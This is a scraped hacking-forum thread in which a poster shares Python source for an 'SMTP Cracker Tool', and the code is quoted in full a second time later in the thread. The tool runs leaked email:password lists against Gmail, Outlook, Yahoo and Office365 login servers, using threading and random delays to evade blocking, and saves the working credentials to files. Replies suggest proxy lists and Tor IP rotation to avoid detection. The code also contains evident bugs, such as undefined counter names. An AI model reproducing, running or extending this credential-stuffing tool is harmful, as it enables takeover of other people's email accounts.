

# Forum:[Hack Forums](#)

Thread: [SMTP Cracker Tool](#)

**DarkG8** - April 15, 2025, 10:19 am

This code is a tool to check the validity of email accounts via SMTP servers. It tries to authorize on mail servers using provided email:password pairs and saves successful attempts to files.

```
Code
import os
import smtplib
import concurrent.futures
import sys
import time
import random
from tkinter import Tk
from tkinter.filedialog import askopenfilename
from colorama import Fore, Style, init
import threading
from datetime import datetime
import logging

# Configuring error logging
logging.basicConfig(filename='smtp_checker_errors.log', level=logging.ERROR,
                    format='%(asctime)s - %(levelname)s - %(message)s')

# Initializing Colorama
init(autoreset=True)

BANNER = """
=====
SMTP Cracker Tool
=====
"""

SMTP_SERVERS = {
    "gmail": {"server": "smtp.gmail.com", "port": 587},
    "outlook": {"server": "smtp-mail.outlook.com", "port": 587},
    "yahoo": {"server": "smtp.mail.yahoo.com", "port": 587},
    # Delays for each service
    "office365": {"server": "smtp.office365.com", "port": 587, "delay": 5}
}

# Global variables with protection
VALIDS = 0
INVALIDS = 0
TOTAL_LINES = 0
PROCESSED_LINES = 0
LOCK = threading.Lock()
MAX_THREADS = 10 # Small number of threads
```

```

def check_smtp_connection(email: str, password: str, smtp_server: str, port: int) -> bool:
    try:
        # Incidental delay to avoid blocking
        time.sleep(random.uniform(1, 3))

        with smtplib.SMTP(smtp_server, port, timeout=10) as server:
            server.starttls()
            server.login(email, password)
            return True
    except Exception as e:
        logging.error(f"Error checking {email} on {smtp_server}: {str(e)}")
        return False

def process_email(email_pass: str, folder_path: str):
    global VALIDS, INVALIDS, PROCESSED_LINES

    try:
        # Format validation
        if email_pass.count(":") != 1:
            logging.warning(f"Invalid string format: {email_pass}")
            return

        email, password = email_pass.strip().split(":")
        domain = email.split("@")[-1].lower()

        # Checking only known servers
        for server_name, server_info in SMTP_SERVERS.items():
            if server_name in domain or domain.endswith(server_name + ".com"):
                if check_smtp_connection(email, password, server_info["server"], server_info["port"]):
                    with LOCK:
                        VALIDS += 1
                        save_valid_account(folder_path, server_name, email, password,
                                         server_info["server"], server_info["port"])
                        print(Fore.GREEN + f"[VALID] {email}:{password} ({server_name})")
                        break
            else:
                with LOCK:
                    INVALIDS += 1
                    print(Fore.RED + f"[INVALID] {email}:{password}")

    except Exception as e:
        logging.error(f"Critical processing error {email_pass}: {str(e)}")
    finally:
        with LOCK:
            PROCESSED_LINES += 1

def save_valid_account(folder_path: str, service: str, email: str,
                      password: str, server: str, port: int):
    filename = f"valid_{service}_accounts.txt"
    with open(os.path.join(folder_path, filename), "a") as f:
        f.write(f"{email}:{password}|{server}:{port}\n")

def main():

```

```
print(Fore.CYAN + BANNER + Style.RESET_ALL)
```

```
# Selecting a data file
```

```
Tk().withdraw()
```

```
file_path = askopenfilename(title="Select the file with email:password",  
                             filetypes=[("Text files", "*.txt")])
```

```
if not file_path:
```

```
    print(Fore.RED + "The file is not selected. Exit." + Style.RESET_ALL)
```

```
    return
```

```
# Reading a file with error handling
```

```
try:
```

```
    with open(file_path, "r", encoding='utf-8', errors='ignore') as f:
```

```
        email_pass_list = [line.strip() for line in f if line.strip()]
```

```
    TOTAL_LINES = len(email_pass_list)
```

```
except Exception as e:
```

```
    print(Fore.RED + f"File read error: {e}" + Style.RESET_ALL)
```

```
    return
```

```
# Creating a folder for results
```

```
timestamp = datetime.now().strftime("%Y%m%d_%H%M")
```

```
result_folder = f"smtp_results_{timestamp}"
```

```
os.makedirs(result_folder, exist_ok=True)
```

```
# Limited multithreaded processing
```

```
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
```

```
    futures = [executor.submit(process_email, email_pass, result_folder)
```

```
                for email_pass in email_pass_list]
```

```
# Progress Bar
```

```
while not all(f.done() for f in futures):
```

```
    time.sleep(0.5)
```

```
    with LOCK:
```

```
        print(f"\r?????????: {PROCESSED_LINES}/{TOTAL_LINES}", end="")
```

```
print(Fore.CYAN + f"\n\nDone! Valid: {VALIDIDS}, Invalid: {INVALIDIDS}" + Style.RESET_ALL)
```

```
print(Fore.YELLOW + "Warning: Use of this tool may violate laws." + Style.RESET_ALL)
```

```
if __name__ == "__main__":
```

```
    main()
```

The main functions of the code are:

Verifies credentials: Reads a file with email:password combinations.

Tries to connect to SMTP servers (Gmail, Outlook, Yahoo, Office365) and authenticate.

Determines if the credentials are valid.

Multi-threaded processing: Uses ThreadPoolExecutor to validate credentials in parallel (limited to 10 threads).

Adds random delays between requests to avoid IP blocking.

Logging and saving results:Saves valid credentials to files like valid\_<service>\_accounts.txt.

Logs errors to the smtp\_checker\_errors.log file.

Outputs statistics: number of valid and invalid records.

Interface:Uses a graphical window (via tkinter) to select a data file.

Outputs colored messages to the console (via colorama).

Possible applications:Checking leaked data (e.g. email:password lists from public databases).

Testing your own accounts for security.

Automate the validation of email accounts.

**skull** - April 17, 2025, 6:16 am

One suggestion that I have seen many other checkers has, is the ability to use a list of proxies for the requests.

**DarkG8** - April 17, 2025, 6:35 am

(Apr 17, 2025 06:16 AM)skull Wrote: [\[CITE\]](#) One suggestion that I have seen many other checkers has, is the ability to use a list of proxies for the requests.

If I understand you correctly, you mean to use a private proxy list for each request? If yes, after your full explanation I will add what you say.

**ForgeSMTP** - April 17, 2025, 7:53 am

(Apr 17, 2025 06:35 AM)DarkG8 Wrote: [\[CITE\]](#) If I understand you correctly, you mean to use a private proxy list for each request? If yes, after your full explanation I will add what you say.

I think that's what he meant. Did you test the program with your Gmail account?

**ERORDZ123** - April 19, 2025, 11:15 pm

Smtp old generation ??????????

**DarkG8** - April 21, 2025, 12:11 am

(Apr 19, 2025 11:15 PM)ERORDZ123 Wrote: [\[CITE\]](#) Smtip old generation ??????????

First of all, he's a worker anyway. You're laughing at me, and I'm laughing at you, because you haven't made any contribution to the development of the forum. The professionals appreciated the tool, and you tried to make fun of it. Whose opinion do you think is more important to me? At least tell me how to improve the code.

**Tofast420** - April 21, 2025, 10:25 am

<https://hackforums.net/showthread.php?tid=6296677>

updated for you

ginxforce - May 5, 2025, 2:48 am

---

bongoman - May 16, 2025, 8:14 am

(Apr 15, 2025 10:19 AM)DarkG8 Wrote: [\[CITE\]](#) This code is a tool to check the validity of email accounts via SMTP servers. It tries to authorize on mail servers using provided email:password pairs and saves successful attempts to files.

```
Code
import os
import smtplib
import concurrent.futures
import sys
import time
import random
from tkinter import Tk
from tkinter.filedialog import askopenfilename
from colorama import Fore, Style, init
import threading
from datetime import datetime
import logging

# Configuring error logging
logging.basicConfig(filename='smtp_checker_errors.log', level=logging.ERROR,
                    format='%(asctime)s - %(levelname)s - %(message)s')

# Initializing Colorama
init(autoreset=True)

BANNER = """
=====
SMTP Cracker Tool
=====
"""

SMTP_SERVERS = {
    "gmail": {"server": "smtp.gmail.com", "port": 587},
    "outlook": {"server": "smtp-mail.outlook.com", "port": 587},
    "yahoo": {"server": "smtp.mail.yahoo.com", "port": 587},
    # Delays for each service
    "office365": {"server": "smtp.office365.com", "port": 587, "delay": 5}
}

# Global variables with protection
VALIDS = 0
INVALIDS = 0
TOTAL_LINES = 0
PROCESSED_LINES = 0
LOCK = threading.Lock()
MAX_THREADS = 10 # Small number of threads
```

```

def check_smtp_connection(email: str, password: str, smtp_server: str, port: int) -> bool:
    try:
        # Incidental delay to avoid blocking
        time.sleep(random.uniform(1, 3))

        with smtplib.SMTP(smtp_server, port, timeout=10) as server:
            server.starttls()
            server.login(email, password)
            return True
    except Exception as e:
        logging.error(f"Error checking {email} on {smtp_server}: {str(e)}")
        return False

def process_email(email_pass: str, folder_path: str):
    global VALIDS, INVALIDS, PROCESSED_LINES

    try:
        # Format validation
        if email_pass.count(":") != 1:
            logging.warning(f"Invalid string format: {email_pass}")
            return

        email, password = email_pass.strip().split(":")
        domain = email.split("@")[-1].lower()

        # Checking only known servers
        for server_name, server_info in SMTP_SERVERS.items():
            if server_name in domain or domain.endswith(server_name + ".com"):
                if check_smtp_connection(email, password, server_info["server"], server_info["port"]):
                    with LOCK:
                        VALIDS += 1
                        save_valid_account(folder_path, server_name, email, password,
                                         server_info["server"], server_info["port"])
                        print(Fore.GREEN + f"[VALID] {email}:{password} ({server_name})")
                        break
            else:
                with LOCK:
                    INVALIDS += 1
                    print(Fore.RED + f"[INVALID] {email}:{password}")

    except Exception as e:
        logging.error(f"Critical processing error {email_pass}: {str(e)}")
    finally:
        with LOCK:
            PROCESSED_LINES += 1

def save_valid_account(folder_path: str, service: str, email: str,
                      password: str, server: str, port: int):
    filename = f"valid_{service}_accounts.txt"
    with open(os.path.join(folder_path, filename), "a") as f:
        f.write(f"{email}:{password} [{server}:{port}]\n")

```

```

def main():
    print(Fore.CYAN + BANNER + Style.RESET_ALL)

    # Selecting a data file
    Tk().withdraw()
    file_path = askopenfilename(title="Select the file with email:password",
                                filetypes=[("Text files", "*.txt")])
    if not file_path:
        print(Fore.RED + "The file is not selected. Exit." + Style.RESET_ALL)
        return

    # Reading a file with error handling
    try:
        with open(file_path, "r", encoding='utf-8', errors='ignore') as f:
            email_pass_list = [line.strip() for line in f if line.strip()]
            TOTAL_LINES = len(email_pass_list)
    except Exception as e:
        print(Fore.RED + f"File read error: {e}" + Style.RESET_ALL)
        return

    # Creating a folder for results
    timestamp = datetime.now().strftime("%Y%m%d_%H%M")
    result_folder = f"smtp_results_{timestamp}"
    os.makedirs(result_folder, exist_ok=True)

    # Limited multithreaded processing
    with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        futures = [executor.submit(process_email, email_pass, result_folder)
                    for email_pass in email_pass_list]

    # Progress Bar
    while not all(f.done() for f in futures):
        time.sleep(0.5)
        with LOCK:
            print(f"\r?????????: {PROCESSED_LINES}/{TOTAL_LINES}", end="")

    print(Fore.CYAN + f"\n\nDone! Valid: {VALIDIDS}, Invalid: {INVALIDIDS}" + Style.RESET_ALL)
    print(Fore.YELLOW + "Warning: Use of this tool may violate laws." + Style.RESET_ALL)

if __name__ == "__main__":
    main()

```

The main functions of the code are:

Verifies credentials: Reads a file with email:password combinations.

Tries to connect to SMTP servers (Gmail, Outlook, Yahoo, Office365) and authenticate.

Determines if the credentials are valid.

Multi-threaded processing: Uses ThreadPoolExecutor to validate credentials in parallel (limited to 10 threads).

Adds random delays between requests to avoid IP blocking.

Logging and saving results:Saves valid credentials to files like valid\_<service>\_accounts.txt.

Logs errors to the smtp\_checker\_errors.log file.

Outputs statistics: number of valid and invalid records.

Interface:Uses a graphical window (via tkinter) to select a data file.

Outputs colored messages to the console (via colorama).

Possible applications:Checking leaked data (e.g. email:password lists from public databases).

Testing your own accounts for security.

Automate the validation of email accounts.

I am not a coder. how do i utilize the codes?

**jbelfort** - May 16, 2025, 8:50 am

I might have to test this out sounds good

**DeathPenalty666** - May 17, 2025, 10:17 pm

(Apr 17, 2025 06:35 AM)DarkG8 Wrote: [\[CITE\]](#) If I understand you correctly, you mean to use a private proxy list for each request? If yes, after your full explanation I will add what you say.

If i get it right is a optio to add a proxy list to check the list. I CAN BE WRONG TOO but sound like that to me...

bind this with something like torautoip or something like this